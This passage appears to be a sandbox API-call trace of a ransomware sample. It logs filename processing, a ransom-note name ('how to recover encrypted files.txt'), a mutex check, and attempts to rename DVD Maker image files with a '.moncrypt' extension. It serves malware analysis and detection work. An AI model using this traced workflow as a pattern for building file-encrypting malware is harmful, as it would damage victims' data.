lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.582] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 77 [0058.583] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.583] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 4 [0058.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 0x54e280 [0058.583] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.583] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.583] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.583] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png", dwFileAttributes=0x20) returned 0 [0058.584] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.584] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.moncrypt")) returned 0 [0058.584] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0058.584] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.584] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.584] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.584] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.584] GlobalUnlock (hMem=0x44000c) returned 0 [0058.584] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.584] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.584] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.584] GlobalUnlock (hMem=0x44000c) returned 0 [0058.584] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.584] GlobalUnlock (hMem=0x440004) returned 0 [0058.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.585] CharLowerBuffW (in: lpsz="SceneButtonInset_Alpha1.png", cchLength=0x1b | out: lpsz="scenebuttoninset_alpha1.png") returned 0x1b [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.585] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.586] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.586] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.586] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Sports\\SceneButtonInset_Alpha1.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.586] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 0x54e280 [0058.586] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.586] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.586] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.586] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png", dwFileAttributes=0x20) returned 0 [0058.587] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.587] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.moncrypt")) returned 0 [0058.587] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0058.587] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.587] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.587] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.587] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.587] GlobalUnlock (hMem=0x440004) returned 0 [0058.587] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.587] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.587] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.587] GlobalUnlock (hMem=0x440004) returned 0 [0058.587] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.587] GlobalUnlock (hMem=0x44000c) returned 0 [0058.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.588] CharLowerBuffW (in: lpsz="SceneButtonInset_Alpha2.png", cchLength=0x1b | out: lpsz="scenebuttoninset_alpha2.png") returned 0x1b [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.588] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, 